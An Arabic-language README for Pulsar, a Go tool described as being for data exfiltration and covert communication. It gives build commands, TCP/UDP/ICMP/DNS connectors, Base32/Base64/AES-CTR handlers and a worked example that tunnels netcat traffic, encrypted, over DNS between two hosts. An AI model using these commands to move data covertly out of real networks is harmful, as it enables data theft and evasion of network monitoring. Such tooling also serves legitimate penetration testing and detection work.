
أداة لتسريب البيانات والاتصال السري
Pulsar هي أداة لتسريب البيانات والاتصال الخفي تتيح لك إنشاء نقل آمن للبيانات، أو دردشة غريبة، أو نفق شبكة عبر بروتوكولات مختلفة، على سبيل المثال يمكنك استقبال البيانات من اتصال tcp وإعادة إرسالها إلى الوجهة الحقيقية عبر حزم DNS 🎉
⚠️ تأكد من أن لديك على الأقل Go 1.8 في نظامك لبناء Pulsar ⚠️
أولاً، احصل على الكود من المستودع وقم بتجميعه باستخدام الأمر التالي:
$ cd pulsar
$ go build -o bin/pulsar src/main.go
أو شغّل:
$ make
الموصل هو قناة بسيطة للعالم الخارجي، باستخدام الموصل يمكنك قراءة وكتابة البيانات من مصادر مختلفة.
قراءة وكتابة البيانات عبر اتصالات tcp
tcp:127.0.0.1:9000
قراءة وكتابة البيانات عبر حزمة udp
udp:127.0.0.1:9000
قراءة وكتابة البيانات عبر حزمة icmp
icmp:127.0.0.1 (منفذ الاتصال عديم الفائدة بوضوح)
قراءة وكتابة البيانات عبر حزمة dns
dns:[email protected]:1994
يمكنك استخدام الخيار --in لتحديد موصل الإدخال والخيار --out لتحديد موصل الإخراج:
--in tcp:127.0.0.1:9000
--out dns:fkdns.lol:2.3.4.5:8989
المعالج يسمح لك بتغيير البيانات أثناء النقل، يمكنك دمج المعالجات بشكل عشوائي.
Stub:
Base32
مُرمِّز/مُفكِّك Base32
--handlers base32
Base64
مُرمِّز/مُفكِّك Base64
--handlers base64
Cipher
تشفير CTR، يدعم AES/DES/TDES في وضع CTR (الافتراضي: AES)
--handlers cipher:<key|[aes|des|tdes#key]>
يمكنك استخدام الخيار --decode لاستخدام جميع المعالجات في وضع فك التشفير
--handlers base64,base32,base64,cipher:key --decode
في المثال التالي سيتم استخدام Pulsar لإنشاء نفق آمن ثنائي الاتجاه عبر بروتوكول DNS، ستُقرأ البيانات من اتصال TCP (عميل nc بسيط) وتُعاد إرسالها مشفرة عبر النفق.
[nc 127.0.0.1 9000] <--TCP--> [pulsar] <--DNS--> [pulsar] <--TCP--> [nc -l 127.0.0.1 -p 9900]
192.168.1.198:
$ ./pulsar --in tcp:127.0.0.1:9000 --out dns:[email protected]:8989 --duplex --plain in --handlers 'cipher:supersekretkey!!'
$ nc 127.0.0.1 9000
192.168.1.199:
$ nc -l 127.0.0.1 -p 9900
$ ./pulsar --in dns:[email protected]:8989 --out tcp:127.0.0.1:9900 --duplex --plain out --handlers 'cipher:supersekretkey!!' --decode
كل المساهمات مرحب بها دائمًا